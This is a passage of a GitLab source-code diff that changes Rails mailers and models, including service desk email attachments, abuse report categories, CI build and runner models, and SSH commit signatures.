- mail_with_locale(to: @user.notification_email_or_default, subject: subject(_("Your personal access token has expired")))
+ mail_with_locale(to: @user.notification_email_or_default, subject: subject(_("Your personal access tokens have expired")))
end
end
diff --git a/app/mailers/emails/service_desk.rb b/app/mailers/emails/service_desk.rb
index 66eb2c646a9..2953ec6cbe5 100644
--- a/app/mailers/emails/service_desk.rb
+++ b/app/mailers/emails/service_desk.rb
@@ -5,6 +5,8 @@ module Emails
extend ActiveSupport::Concern
include MarkupHelper
+ EMAIL_ATTACHMENTS_SIZE_LIMIT = 10.megabytes.freeze
+
included do
layout 'service_desk', only: [:service_desk_thank_you_email, :service_desk_new_note_email]
end
@@ -28,6 +30,7 @@ module Emails
setup_service_desk_mail(issue_id)
email_sender = sender(@note.author_id)
+ add_uploads_as_attachments if Feature.enabled?(:service_desk_new_note_email_native_attachments, @note.project)
options = service_desk_options(email_sender, 'new_note', recipient)
.merge(subject: subject_base)
@@ -60,7 +63,8 @@ module Emails
template = Gitlab::Template::ServiceDeskTemplate.find(email_type, @project)
text = substitute_template_replacements(template.content)
- context = { project: @project, pipeline: :email }
+ context = { project: @project, pipeline: :service_desk_email, uploads_as_attachments: @uploads_as_attachments }
+
context[:author] = @note.author if email_type == 'new_note'
markdown(text, context)
@@ -90,5 +94,32 @@ module Emails
def subject_base
"#{@issue.title} (##{@issue.iid})"
end
+
+ def add_uploads_as_attachments
+ uploaders = find_uploaders_for(@note)
+ return unless uploaders.present?
+ return if uploaders.sum(&:size) > EMAIL_ATTACHMENTS_SIZE_LIMIT
+
+ @uploads_as_attachments = []
+ uploaders.each do |uploader|
+ attachments[uploader.filename] = uploader.read
+ @uploads_as_attachments << "#{uploader.secret}/#{uploader.filename}"
+ rescue StandardError => e
+ Gitlab::ErrorTracking.track_exception(e, project_id: @note.project.id)
+ end
+ end
+
+ def find_uploaders_for(note)
+ uploads = FileUploader::MARKDOWN_PATTERN.scan(note.note)
+ return unless uploads.present?
+
+ project = note.project
+ uploads.map do |secret, file_name|
+ UploaderFinder.new(project, secret, file_name).execute
+ end
+ rescue StandardError => e
+ Gitlab::ErrorTracking.track_exception(e, project_id: note.project.id)
+ nil
+ end
end
end
diff --git a/app/mailers/notify.rb b/app/mailers/notify.rb
index 5a3fc70832c..31726563662 100644
--- a/app/mailers/notify.rb
+++ b/app/mailers/notify.rb
@@ -24,6 +24,7 @@ class Notify < ApplicationMailer
include Emails::InProductMarketing
include Emails::AdminNotification
include Emails::IdentityVerification
+ include Emails::Imports
helper TimeboxesHelper
helper MergeRequestsHelper
diff --git a/app/mailers/previews/notify_preview.rb b/app/mailers/previews/notify_preview.rb
index 7d7e01950c8..7ed594bf571 100644
--- a/app/mailers/previews/notify_preview.rb
+++ b/app/mailers/previews/notify_preview.rb
@@ -225,6 +225,10 @@ class NotifyPreview < ActionMailer::Preview
Notify.project_was_moved_email(project.id, user.id, "gitlab/gitlab").message
end
+ def github_gists_import_errors_email
+ Notify.github_gists_import_errors_email(user.id, { '12345' => 'Snippet maximum file count exceeded', '67890' => 'error message 2' }).message
+ end
+
private
def project
diff --git a/app/models/abuse_report.rb b/app/models/abuse_report.rb
index f1f22d94061..ee0c23ef31e 100644
--- a/app/models/abuse_report.rb
+++ b/app/models/abuse_report.rb
@@ -12,14 +12,49 @@ class AbuseReport < ApplicationRecord
validates :reporter, presence: true
validates :user, presence: true
validates :message, presence: true
- validates :user_id, uniqueness: { message: 'has already been reported' }
+ validates :category, presence: true
+ validates :user_id,
+ uniqueness: {
+ scope: [:reporter_id, :category],
+ message: ->(object, data) do
+ _('You have already reported this user')
+ end
+ }
+
+ validates :reported_from_url,
+ allow_blank: true,
+ length: { maximum: 512 },
+ addressable_url: {
+ dns_rebind_protection: true,
+ blocked_message: 'is an invalid URL. You can try reporting the abuse again, ' \
+ 'or contact a GitLab administrator for help.'
+ }
scope :by_user, ->(user) { where(user_id: user) }
scope :with_users, -> { includes(:reporter, :user) }
+ enum category: {
+ spam: 1,
+ offensive: 2,
+ phishing: 3,
+ crypto: 4,
+ credentials: 5,
+ copyright: 6,
+ malware: 7,
+ other: 8
+ }
+
# For CacheMarkdownField
alias_method :author, :reporter
+ HUMANIZED_ATTRIBUTES = {
+ reported_from_url: "Reported from"
+ }.freeze
+
+ def self.human_attribute_name(attr, options = {})
+ HUMANIZED_ATTRIBUTES[attr.to_sym] || super
+ end
+
def remove_user(deleted_by:)
user.delete_async(deleted_by: deleted_by, params: { hard_delete: true })
end
diff --git a/app/models/achievements/achievement.rb b/app/models/achievements/achievement.rb
index 904961491b5..a436e32b35b 100644
--- a/app/models/achievements/achievement.rb
+++ b/app/models/achievements/achievement.rb
@@ -7,6 +7,9 @@ module Achievements
belongs_to :namespace, inverse_of: :achievements, optional: false
+ has_many :user_achievements, inverse_of: :achievement
+ has_many :users, through: :user_achievements, inverse_of: :achievements
+
strip_attributes! :name, :description
validates :name,
diff --git a/app/models/achievements/user_achievement.rb b/app/models/achievements/user_achievement.rb
new file mode 100644
index 00000000000..885ec660cc9
--- /dev/null
+++ b/app/models/achievements/user_achievement.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Achievements
+ class UserAchievement < ApplicationRecord
+ belongs_to :achievement, inverse_of: :user_achievements, optional: false
+ belongs_to :user, inverse_of: :user_achievements, optional: false
+
+ belongs_to :awarded_by_user,
+ class_name: 'User',
+ inverse_of: :awarded_user_achievements,
+ optional: true
+ belongs_to :revoked_by_user,
+ class_name: 'User',
+ inverse_of: :revoked_user_achievements,
+ optional: true
+ end
+end
diff --git a/app/models/analytics/cycle_analytics/aggregation.rb b/app/models/analytics/cycle_analytics/aggregation.rb
index a888422a6b4..b432955ad88 100644
--- a/app/models/analytics/cycle_analytics/aggregation.rb
+++ b/app/models/analytics/cycle_analytics/aggregation.rb
@@ -2,8 +2,7 @@
class Analytics::CycleAnalytics::Aggregation < ApplicationRecord
include FromUnion
-
- belongs_to :group, optional: false
+ include Analytics::CycleAnalytics::Parentable
validates :incremental_runtimes_in_seconds, :incremental_processed_records, :full_runtimes_in_seconds, :full_processed_records, presence: true, length: { maximum: 10 }, allow_blank: true
@@ -58,7 +57,10 @@ class Analytics::CycleAnalytics::Aggregation < ApplicationRecord
estimation < 1 ? nil : estimation.from_now
end
- def self.safe_create_for_group(group)
+ def self.safe_create_for_namespace(group_or_project_namespace)
+ # Namespaces::ProjectNamespace has no root_ancestor
+ # Related: https://gitlab.com/gitlab-org/gitlab/-/issues/386124
+ group = group_or_project_namespace.is_a?(Group) ? group_or_project_namespace : group_or_project_namespace.parent
top_level_group = group.root_ancestor
aggregation = find_by(group_id: top_level_group.id)
return aggregation if aggregation.present?
diff --git a/app/models/analytics/cycle_analytics/project_stage.rb b/app/models/analytics/cycle_analytics/project_stage.rb
index 8d3a032812e..8a80514333f 100644
--- a/app/models/analytics/cycle_analytics/project_stage.rb
+++ b/app/models/analytics/cycle_analytics/project_stage.rb
@@ -3,10 +3,9 @@
module Analytics
module CycleAnalytics
class ProjectStage < ApplicationRecord
- include Analytics::CycleAnalytics::Stage
+ include Analytics::CycleAnalytics::Stageable
- validates :project, presence: true
- belongs_to :project
+ belongs_to :project, optional: false
belongs_to :value_stream, class_name: 'Analytics::CycleAnalytics::ProjectValueStream', foreign_key: :project_value_stream_id
alias_attribute :parent, :project
diff --git a/app/models/appearance.rb b/app/models/appearance.rb
index 4a046b3ab20..3a5e06e9a1c 100644
--- a/app/models/appearance.rb
+++ b/app/models/appearance.rb
@@ -6,7 +6,7 @@ class Appearance < ApplicationRecord
include WithUploads
attribute :title, default: ''
- attribute :short_title, default: ''
+ attribute :pwa_short_name, default: ''
attribute :description, default: ''
attribute :new_project_guidelines, default: ''
attribute :profile_image_guidelines, default: ''
@@ -23,6 +23,7 @@ class Appearance < ApplicationRecord
cache_markdown_field :footer_message, pipeline: :broadcast_message
validates :logo, file_size: { maximum: 1.megabyte }
+ validates :pwa_icon, file_size: { maximum: 1.megabyte }
validates :header_logo, file_size: { maximum: 1.megabyte }
validates :message_background_color, allow_blank: true, color: true
validates :message_font_color, allow_blank: true, color: true
@@ -31,6 +32,7 @@ class Appearance < ApplicationRecord
validate :single_appearance_row, on: :create
mount_uploader :logo, AttachmentUploader
+ mount_uploader :pwa_icon, AttachmentUploader
mount_uploader :header_logo, AttachmentUploader
mount_uploader :favicon, FaviconUploader
@@ -49,6 +51,10 @@ class Appearance < ApplicationRecord
logo_system_path(logo, 'logo')
end
+ def pwa_icon_path
+ logo_system_path(pwa_icon, 'pwa_icon')
+ end
+
def header_logo_path
logo_system_path(header_logo, 'header_logo')
end
diff --git a/app/models/application_setting.rb b/app/models/application_setting.rb
index 3fb1f58f3e0..59ad0650eb3 100644
--- a/app/models/application_setting.rb
+++ b/app/models/application_setting.rb
@@ -35,6 +35,7 @@ class ApplicationSetting < ApplicationRecord
belongs_to :instance_group, class_name: "Group", foreign_key: 'instance_administrators_group_id'
alias_attribute :instance_group_id, :instance_administrators_group_id
alias_attribute :instance_administrators_group, :instance_group
+ alias_attribute :housekeeping_optimize_repository_period, :housekeeping_incremental_repack_period
sanitizes! :default_branch_name
@@ -256,18 +257,10 @@ class ApplicationSetting < ApplicationRecord
presence: { message: 'Domain denylist cannot be empty if denylist is enabled.' },
if: :domain_denylist_enabled?
- validates :housekeeping_incremental_repack_period,
+ validates :housekeeping_optimize_repository_period,
presence: true,
numericality: { only_integer: true, greater_than: 0 }
- validates :housekeeping_full_repack_period,
- presence: true,
- numericality: { only_integer: true, greater_than_or_equal_to: :housekeeping_incremental_repack_period }
-
- validates :housekeeping_gc_period,
- presence: true,
- numericality: { only_integer: true, greater_than_or_equal_to: :housekeeping_full_repack_period }
-
validates :terminal_max_session_time,
presence: true,
numericality: { only_integer: true, greater_than_or_equal_to: 0 }
@@ -413,7 +406,7 @@ class ApplicationSetting < ApplicationRecord
validates :invisible_captcha_enabled,
inclusion: { in: [true, false], message: N_('must be a boolean value') }
- validates :invitation_flow_enforcement, :can_create_group,
+ validates :invitation_flow_enforcement, :can_create_group, :user_defaults_to_private_profile,
allow_nil: false,
inclusion: { in: [true, false], message: N_('must be a boolean value') }
@@ -694,6 +687,10 @@ class ApplicationSetting < ApplicationRecord
allow_nil: false,
inclusion: { in: [true, false], message: N_('must be a boolean value') }
+ validates :allow_runner_registration_token,
+ allow_nil: false,
+ inclusion: { in: [true, false], message: N_('must be a boolean value') }
+
before_validation :ensure_uuid!
before_validation :coerce_repository_storages_weighted, if: :repository_storages_weighted_changed?
before_validation :normalize_default_branch_name
diff --git a/app/models/application_setting_implementation.rb b/app/models/application_setting_implementation.rb
index 229c4e68d79..8ef7e9a92a8 100644
--- a/app/models/application_setting_implementation.rb
+++ b/app/models/application_setting_implementation.rb
@@ -245,7 +245,9 @@ module ApplicationSettingImplementation
users_get_by_id_limit: 300,
users_get_by_id_limit_allowlist: [],
can_create_group: true,
- bulk_import_enabled: false
+ bulk_import_enabled: false,
+ allow_runner_registration_token: true,
+ user_defaults_to_private_profile: false
}
end
diff --git a/app/models/bulk_imports/entity.rb b/app/models/bulk_imports/entity.rb
index e49c4e09a50..ebca5e90313 100644
--- a/app/models/bulk_imports/entity.rb
+++ b/app/models/bulk_imports/entity.rb
@@ -152,6 +152,10 @@ class BulkImports::Entity < ApplicationRecord
"::#{pluralized_name.capitalize}::UpdateService".constantize
end
+ def full_path
+ project? ? project&.full_path : group&.full_path
+ end
+
private
def validate_parent_is_a_group
diff --git a/app/models/chat_name.rb b/app/models/chat_name.rb
index 60370c525d5..9bd618c1008 100644
--- a/app/models/chat_name.rb
+++ b/app/models/chat_name.rb
@@ -7,12 +7,10 @@ class ChatName < ApplicationRecord
belongs_to :user
validates :user, presence: true
- validates :integration, presence: true
validates :team_id, presence: true
validates :chat_id, presence: true
- validates :user_id, uniqueness: { scope: [:integration_id] }
- validates :chat_id, uniqueness: { scope: [:integration_id, :team_id] }
+ validates :chat_id, uniqueness: { scope: :team_id }
# Updates the "last_used_timestamp" but only if it wasn't already updated
# recently.
diff --git a/app/models/ci/artifact_blob.rb b/app/models/ci/artifact_blob.rb
index 76d4b9d6206..f87b18d516f 100644
--- a/app/models/ci/artifact_blob.rb
+++ b/app/models/ci/artifact_blob.rb
@@ -46,7 +46,7 @@ module Ci
'artifacts', path
].join('/')
- "#{project.pages_group_url}/#{artifact_path}"
+ "#{project.pages_namespace_url}/#{artifact_path}"
end
def external_link?(job)
diff --git a/app/models/ci/bridge.rb b/app/models/ci/bridge.rb
index 662fb3cffa8..4af31fd37f2 100644
--- a/app/models/ci/bridge.rb
+++ b/app/models/ci/bridge.rb
@@ -19,11 +19,6 @@ module Ci
belongs_to :project
belongs_to :trigger_request
- # To be removed upon :ci_bridge_remove_sourced_pipelines feature flag removal
- has_many :sourced_pipelines, class_name: "::Ci::Sources::Pipeline",
- foreign_key: :source_job_id,
- inverse_of: :source_bridge
-
has_one :downstream_pipeline, through: :sourced_pipeline, source: :pipeline
validates :ref, presence: true
@@ -89,20 +84,8 @@ module Ci
end
end
- def sourced_pipelines
- if Feature.enabled?(:ci_bridge_remove_sourced_pipelines, project)
- raise 'Ci::Bridge does not have sourced_pipelines association'
- end
-
- super
- end
-
def has_downstream_pipeline?
- if Feature.enabled?(:ci_bridge_remove_sourced_pipelines, project)
- sourced_pipeline.present?
- else
- sourced_pipelines.exists?
- end
+ sourced_pipeline.present?
end
def downstream_pipeline_params
@@ -298,7 +281,7 @@ module Ci
return [] unless forward_yaml_variables?
yaml_variables.to_a.map do |hash|
- if hash[:raw] && ci_raw_variables_in_yaml_config_enabled?
+ if hash[:raw]
{ key: hash[:key], value: hash[:value], raw: true }
else
{ key: hash[:key], value: ::ExpandVariables.expand(hash[:value], expand_variables) }
@@ -310,7 +293,7 @@ module Ci
return [] unless forward_pipeline_variables?
pipeline.variables.to_a.map do |variable|
- if variable.raw? && ci_raw_variables_in_yaml_config_enabled?
+ if variable.raw?
{ key: variable.key, value: variable.value, raw: true }
else
{ key: variable.key, value: ::ExpandVariables.expand(variable.value, expand_variables) }
@@ -323,7 +306,7 @@ module Ci
return [] unless pipeline.pipeline_schedule
pipeline.pipeline_schedule.variables.to_a.map do |variable|
- if variable.raw? && ci_raw_variables_in_yaml_config_enabled?
+ if variable.raw?
{ key: variable.key, value: variable.value, raw: true }
else
{ key: variable.key, value: ::ExpandVariables.expand(variable.value, expand_variables) }
@@ -346,12 +329,6 @@ module Ci
result.nil? ? FORWARD_DEFAULTS[:pipeline_variables] : result
end
end
-
- def ci_raw_variables_in_yaml_config_enabled?
- strong_memoize(:ci_raw_variables_in_yaml_config_enabled) do
- ::Feature.enabled?(:ci_raw_variables_in_yaml_config, project)
- end
- end
end
end
diff --git a/app/models/ci/build.rb b/app/models/ci/build.rb
index 7f42b21bc87..0139b025d98 100644
--- a/app/models/ci/build.rb
+++ b/app/models/ci/build.rb
@@ -68,6 +68,7 @@ module Ci
delegate :service_specification, to: :runner_session, allow_nil: true
delegate :gitlab_deploy_token, to: :project
delegate :harbor_integration, to: :project
+ delegate :apple_app_store_integration, to: :project
delegate :trigger_short_token, to: :trigger_request, allow_nil: true
delegate :ensure_persistent_ref, to: :pipeline
delegate :enable_debug_trace!, to: :metadata
@@ -587,6 +588,7 @@ module Ci
.append(key: 'CI_REPOSITORY_URL', value: repo_url.to_s, public: false)
.concat(deploy_token_variables)
.concat(harbor_variables)
+ .concat(apple_app_store_variables)
end
end
@@ -630,6 +632,13 @@ module Ci
Gitlab::Ci::Variables::Collection.new(harbor_integration.ci_variables)
end
+ def apple_app_store_variables
+ return [] unless apple_app_store_integration.try(:activated?)
+ return [] unless pipeline.protected_ref?
+
+ Gitlab::Ci::Variables::Collection.new(apple_app_store_integration.ci_variables)
+ end
+
def features
{
trace_sections: true,
@@ -736,6 +745,12 @@ module Ci
self.token && token.present? && ActiveSupport::SecurityUtils.secure_compare(token, self.token)
end
+ def remove_token!
+ if Feature.enabled?(:remove_job_token_on_completion, project)
+ update!(token_encrypted: nil)
+ end
+ end
+
# acts_as_taggable uses this method create/remove tags with contexts
# defined by taggings and to get those contexts it executes a query.
# We don't use any other contexts except `tags`, so we don't need it.
@@ -884,8 +899,9 @@ module Ci
return cache unless project.ci_separated_caches
- type_suffix = pipeline.protected_ref? ? 'protected' : 'non_protected'
cache.map do |entry|
+ type_suffix = !entry[:unprotect] && pipeline.protected_ref? ? 'protected' : 'non_protected'
+
entry.merge(key: "#{entry[:key]}-#{type_suffix}")
end
end
@@ -1135,15 +1151,9 @@ module Ci
end
end
- def partition_id_token_prefix
- partition_id.to_s(16) if Feature.enabled?(:ci_build_partition_id_token_prefix, project)
- end
-
override :format_token
def format_token(token)
- return token if partition_id_token_prefix.nil?
-
- "#{partition_id_token_prefix}_#{token}"
+ "#{partition_id.to_s(16)}_#{token}"
end
protected
diff --git a/app/models/ci/build_metadata.rb b/app/models/ci/build_metadata.rb
index 9b4794abb2e..1dcb9190f11 100644
--- a/app/models/ci/build_metadata.rb
+++ b/app/models/ci/build_metadata.rb
@@ -71,7 +71,7 @@ module Ci
end
def timeout_with_highest_precedence
- [(job_timeout || project_timeout), runner_timeout].compact.min_by { |timeout| timeout.value }
+ [(job_timeout || project_timeout), runner_timeout].compact.min_by(&:value)
end
def project_timeout
diff --git a/app/models/ci/build_trace_chunk.rb b/app/models/ci/build_trace_chunk.rb
index 57d8b9ba368..c5f6e54c336 100644
--- a/app/models/ci/build_trace_chunk.rb
+++ b/app/models/ci/build_trace_chunk.rb
@@ -166,7 +166,7 @@ module Ci
raise FailedToPersistDataError, 'Modifed build trace chunk detected' if has_changes_to_save?
self.class.with_read_consistency(build) do
- self.reset.then { |chunk| chunk.unsafe_persist_data! }
+ self.reset.then(&:unsafe_persist_data!)
end
end
rescue FailedToObtainLockError
diff --git a/app/models/ci/job_artifact.rb b/app/models/ci/job_artifact.rb
index 53c358f4eba..0dca5b18a24 100644
--- a/app/models/ci/job_artifact.rb
+++ b/app/models/ci/job_artifact.rb
@@ -14,6 +14,8 @@ module Ci
include EachBatch
include Gitlab::Utils::StrongMemoize
+ enum accessibility: { public: 0, private: 1 }, _suffix: true
+
NON_ERASABLE_FILE_TYPES = %w[trace].freeze
REPORT_FILE_TYPES = {
@@ -346,6 +348,12 @@ module Ci
end
end
+ def public_access?
+ return true unless Feature.enabled?(:non_public_artifacts, type: :development)
+
+ public_accessibility?
+ end
+
private
def store_file_in_transaction!
diff --git a/app/models/ci/pipeline.rb b/app/models/ci/pipeline.rb
index 05207fb1ca0..eab2ab69e44 100644
--- a/app/models/ci/pipeline.rb
+++ b/app/models/ci/pipeline.rb
@@ -919,8 +919,12 @@ module Ci
Gitlab::Ci::Variables::Collection.new.tap do |variables|
next variables unless tag?
+ git_tag = project.repository.find_tag(ref)
+
+ next variables unless git_tag
+
variables.append(key: 'CI_COMMIT_TAG', value: ref)
- variables.append(key: 'CI_COMMIT_TAG_MESSAGE', value: project.repository.find_tag(ref).message)
+ variables.append(key: 'CI_COMMIT_TAG_MESSAGE', value: git_tag.message)
# legacy variable
variables.append(key: 'CI_BUILD_TAG', value: ref)
diff --git a/app/models/ci/runner.rb b/app/models/ci/runner.rb
index a7f3ff938c3..bac85b6095e 100644
--- a/app/models/ci/runner.rb
+++ b/app/models/ci/runner.rb
@@ -13,6 +13,7 @@ module Ci
include TaggableQueries
include Presentable
include EachBatch
+ include Ci::HasRunnerExecutor
add_authentication_token_field :token, encrypted: :optional, expires_at: :compute_token_expiration
@@ -27,21 +28,6 @@ module Ci
project_type: 3
}
- enum executor_type: {
- unknown: 0,
- custom: 1,
- shell: 2,
- docker: 3,
- docker_windows: 4,
- docker_ssh: 5,
- ssh: 6,
- parallels: 7,
- virtualbox: 8,
- docker_machine: 9,
- docker_ssh_machine: 10,
- kubernetes: 11
- }, _suffix: true
-
# This `ONLINE_CONTACT_TIMEOUT` needs to be larger than
# `RUNNER_QUEUE_EXPIRY_TIME+UPDATE_CONTACT_COLUMN_EVERY`
#
@@ -68,6 +54,7 @@ module Ci
TAG_LIST_MAX_LENGTH = 50
+ has_many :runner_machines, inverse_of: :runner
has_many :builds
has_many :runner_projects, inverse_of: :runner, autosave: true, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
has_many :projects, through: :runner_projects, disable_joins: true
@@ -77,6 +64,8 @@ module Ci
has_one :last_build, -> { order('id DESC') }, class_name: 'Ci::Build'
has_one :runner_version, primary_key: :version, foreign_key: :version, class_name: 'Ci::RunnerVersion'
+ belongs_to :creator, class_name: 'User', optional: true
+
before_save :ensure_token
scope :active, -> (value = true) { where(active: value) }
@@ -440,7 +429,9 @@ module Ci
::Gitlab::Database::LoadBalancing::Session.without_sticky_writes do
values = values&.slice(:version, :revision, :platform, :architecture, :ip_address, :config, :executor) || {}
values[:contacted_at] = Time.current
- values[:executor_type] = EXECUTOR_NAME_TO_TYPES.fetch(values.delete(:executor), :unknown)
+ if values.include?(:executor)
+ values[:executor_type] = EXECUTOR_NAME_TO_TYPES.fetch(values.delete(:executor), :unknown)
+ end
cache_attributes(values)
diff --git a/app/models/ci/runner_machine.rb b/app/models/ci/runner_machine.rb
new file mode 100644
index 00000000000..1dd997a8ee1
--- /dev/null
+++ b/app/models/ci/runner_machine.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+module Ci
+ class RunnerMachine < Ci::ApplicationRecord
+ include FromUnion
+ include Ci::HasRunnerExecutor
+
+ belongs_to :runner
+
+ validates :runner, presence: true
+ validates :machine_xid, presence: true, length: { maximum: 64 }
+ validates :version, length: { maximum: 2048 }
+ validates :revision, length: { maximum: 255 }
+ validates :platform, length: { maximum: 255 }
+ validates :architecture, length: { maximum: 255 }
+ validates :ip_address, length: { maximum: 1024 }
+ validates :config, json_schema: { filename: 'ci_runner_config' }
+
+ # The `STALE_TIMEOUT` constant defines the how far past the last contact or creation date a runner machine
+ # will be considered stale
+ STALE_TIMEOUT = 7.days
+
+ scope :stale, -> do
+ created_some_time_ago = arel_table[:created_at].lteq(STALE_TIMEOUT.ago)
+ contacted_some_time_ago = arel_table[:contacted_at].lteq(STALE_TIMEOUT.ago)
+
+ from_union(
+ where(contacted_at: nil),
+ where(contacted_some_time_ago),
+ remove_duplicates: false).where(created_some_time_ago)
+ end
+ end
+end
diff --git a/app/models/clusters/concerns/provider_status.rb b/app/models/clusters/concerns/provider_status.rb
index 2da1ee7aabb..44da840bec3 100644
--- a/app/models/clusters/concerns/provider_status.rb
+++ b/app/models/clusters/concerns/provider_status.rb
@@ -24,7 +24,7 @@ module Clusters
transition any - [:errored] => :errored
end
- before_transition any => [:errored, :created] do |provider|
+ before_transition any => [:errored, :created] do |provider, _|
provider.nullify_credentials
end
diff --git a/app/models/clusters/providers/aws.rb b/app/models/clusters/providers/aws.rb
index f0f56d9ebd9..969820459e3 100644
--- a/app/models/clusters/providers/aws.rb
+++ b/app/models/clusters/providers/aws.rb
@@ -45,18 +45,6 @@ module Clusters
)
end
- def api_client
- strong_memoize(:api_client) do
- ::Aws::CloudFormation::Client.new(credentials: credentials, region: region)
- end
- end
-
- def credentials
- strong_memoize(:credentials) do
- ::Aws::Credentials.new(access_key_id, secret_access_key, session_token)
- end
- end
-
def has_rbac_enabled?
true
end
diff --git a/app/models/clusters/providers/gcp.rb b/app/models/clusters/providers/gcp.rb
index fde5ed592cb..6f39037b947 100644
--- a/app/models/clusters/providers/gcp.rb
+++ b/app/models/clusters/providers/gcp.rb
@@ -37,12 +37,6 @@ module Clusters
greater_than: 0
}
- def api_client
- return unless access_token
-
- @api_client ||= GoogleApi::CloudPlatform::Client.new(access_token, nil)
- end
-
def nullify_credentials
assign_attributes(
access_token: nil,
diff --git a/app/models/commit.rb b/app/models/commit.rb
index 5175842e5de..a95ab756600 100644
--- a/app/models/commit.rb
+++ b/app/models/commit.rb
@@ -359,10 +359,6 @@ class Commit
end
def has_signature?
- if signature_type == :SSH && !ssh_signatures_enabled?
- return false
- end
-
signature_type && signature_type != :NONE
end
@@ -382,10 +378,6 @@ class Commit
@signature_type ||= raw_signature_type || :NONE
end
- def ssh_signatures_enabled?
- Feature.enabled?(:ssh_commit_signatures, project)
- end
-
def signature
strong_memoize(:signature) do
case signature_type
@@ -394,7 +386,7 @@ class Commit
when :X509
Gitlab::X509::Commit.new(self).signature
when :SSH
- Gitlab::Ssh::Commit.new(self).signature if ssh_signatures_enabled?
+ Gitlab::Ssh::Commit.new(self).signature
else
nil
end
@@ -584,9 +576,7 @@ class Commit
private
def expire_note_etag_cache_for_related_mrs
- MergeRequest.includes(target_project: :namespace).by_commit_sha(id).find_each do |mr|
- mr.expire_note_etag_cache
- end
+ MergeRequest.includes(target_project: :namespace).by_commit_sha(id).find_each(&:expire_note_etag_cache)
end
def commit_reference(from, referable_commit_id, full: false)
diff --git a/app/models/commit_collection.rb b/app/models/commit_collection.rb
index 7d89ddde0cb..47ecdfa8574 100644
--- a/app/models/commit_collection.rb
+++ b/app/models/commit_collection.rb
@@ -25,7 +25,7 @@ class CommitCollection
end
def committers
- emails = without_merge_commits.map(&:committer_email).uniq
+ emails = without_merge_commits.filter_map(&:committer_email).uniq
User.by_any_email(emails)
end
diff --git a/app/models/commit_signatures/ssh_signature.rb b/app/models/commit_signatures/ssh_signature.rb
index 1e64e2b2978..e9e16651d1c 100644
--- a/app/models/commit_signatures/ssh_signature.rb
+++ b/app/models/commit_signatures/ssh_signature.rb
@@ -6,13 +6,18 @@ module CommitSignatures
include SignatureType
belongs_to :key, optional: true
+ belongs_to :user, optional: true
def type
:ssh
end
def signed_by_user
- key&.user
+ user || key&.user
+ end
+
+ def key_fingerprint_sha256
+ super || key&.fingerprint_sha256
end
end
end
diff --git a/app/models/commit_status.rb b/app/models/commit_status.rb
index 2470eada62e..64e585bae14 100644
--- a/app/models/commit_status.rb
+++ b/app/models/commit_status.rb
@@ -71,6 +71,7 @@ class CommitStatus < Ci::ApplicationRecord
scope :scheduled_at_before, ->(date) {
where('ci_builds.scheduled_at IS NOT NULL AND ci_builds.scheduled_at < ?', date)
}
+ scope :with_when_executed, ->(when_executed) { where(when: when_executed) }
# The scope applies `pluck` to split the queries. Use with care.
scope :for_project_paths, -> (paths) do
diff --git a/app/models/concerns/analytics/cycle_analytics/parentable.rb b/app/models/concerns/analytics/cycle_analytics/parentable.rb
new file mode 100644
index 00000000000..785f6eea6bf
--- /dev/null
+++ b/app/models/concerns/analytics/cycle_analytics/parentable.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Analytics
+ module CycleAnalytics
+ module Parentable
+ extend ActiveSupport::Concern
+
+ included do
+ belongs_to :namespace, class_name: 'Namespace', foreign_key: :group_id, optional: false # rubocop: disable Rails/InverseOf
+
+ validate :ensure_namespace_type
+
+ def ensure_namespace_type
+ return if namespace.nil?
+ return if namespace.is_a?(::Namespaces::ProjectNamespace) || namespace.is_a?(::Group)
+
+ errors.add(:namespace, s_('CycleAnalytics|the assigned object is not supported'))
+ end
+ end
+ end
+ end
+end
diff --git a/app/models/concerns/analytics/cycle_analytics/stage.rb b/app/models/concerns/analytics/cycle_analytics/stage.rb
deleted file mode 100644
index d9e6756ab86..00000000000
--- a/app/models/concerns/analytics/cycle_analytics/stage.rb
+++ /dev/null
@@ -1,157 +0,0 @@
-# frozen_string_literal: true
-
-module Analytics
- module CycleAnalytics
- module Stage
- extend ActiveSupport::Concern
- include RelativePositioning
- include Gitlab::Utils::StrongMemoize
-
- included do
- belongs_to :start_event_label, class_name: 'GroupLabel', optional: true
- belongs_to :end_event_label, class_name: 'GroupLabel', optional: true
- belongs_to :stage_event_hash, class_name: 'Analytics::CycleAnalytics::StageEventHash', foreign_key: :stage_event_hash_id, optional: true
-
- validates :name, presence: true
- validates :name, exclusion: { in: Gitlab::Analytics::CycleAnalytics::DefaultStages.names }, if: :custom?
- validates :start_event_identifier, presence: true
- validates :end_event_identifier, presence: true
- validates :start_event_label_id, presence: true, if: :start_event_label_based?
- validates :end_event_label_id, presence: true, if: :end_event_label_based?
- validate :validate_stage_event_pairs
- validate :validate_labels
-
- enum start_event_identifier: Gitlab::Analytics::CycleAnalytics::StageEvents.to_enum, _prefix: :start_event_identifier
- enum end_event_identifier: Gitlab::Analytics::CycleAnalytics::StageEvents.to_enum, _prefix: :end_event_identifier
-
- alias_attribute :custom_stage?, :custom
- scope :default_stages, -> { where(custom: false) }
- scope :ordered, -> { order(:relative_position, :id) }
- scope :with_preloaded_labels, -> { includes(:start_event_label, :end_event_label) }
- scope :for_list, -> { with_preloaded_labels.ordered }
- scope :by_value_stream, -> (value_stream) { where(value_stream_id: value_stream.id) }
-
- before_save :ensure_stage_event_hash_id
- after_commit :cleanup_old_stage_event_hash
- end
-
- def parent=(_)
- raise NotImplementedError
- end
-
- def parent
- raise NotImplementedError
- end
-
- def start_event
- strong_memoize(:start_event) do
- Gitlab::Analytics::CycleAnalytics::StageEvents[start_event_identifier].new(params_for_start_event)
- end
- end
-
- def end_event
- strong_memoize(:end_event) do
- Gitlab::Analytics::CycleAnalytics::StageEvents[end_event_identifier].new(params_for_end_event)
- end
- end
-
- def events_hash_code
- Digest::SHA256.hexdigest("#{start_event.hash_code}-#{end_event.hash_code}")
- end
-
- def start_event_label_based?
- start_event_identifier && start_event.label_based?
- end
-
- def end_event_label_based?
- end_event_identifier && end_event.label_based?
- end
-
- def start_event_identifier=(identifier)
- clear_memoization(:start_event)
- super
- end
-
- def end_event_identifier=(identifier)
- clear_memoization(:end_event)
- super
- end
-
- def params_for_start_event
- start_event_label.present? ? { label: start_event_label } : {}
- end
-
- def params_for_end_event
- end_event_label.present? ? { label: end_event_label } : {}
- end
-
- def default_stage?
- !custom
- end
-
- # The model class that is going to be queried, Issue or MergeRequest
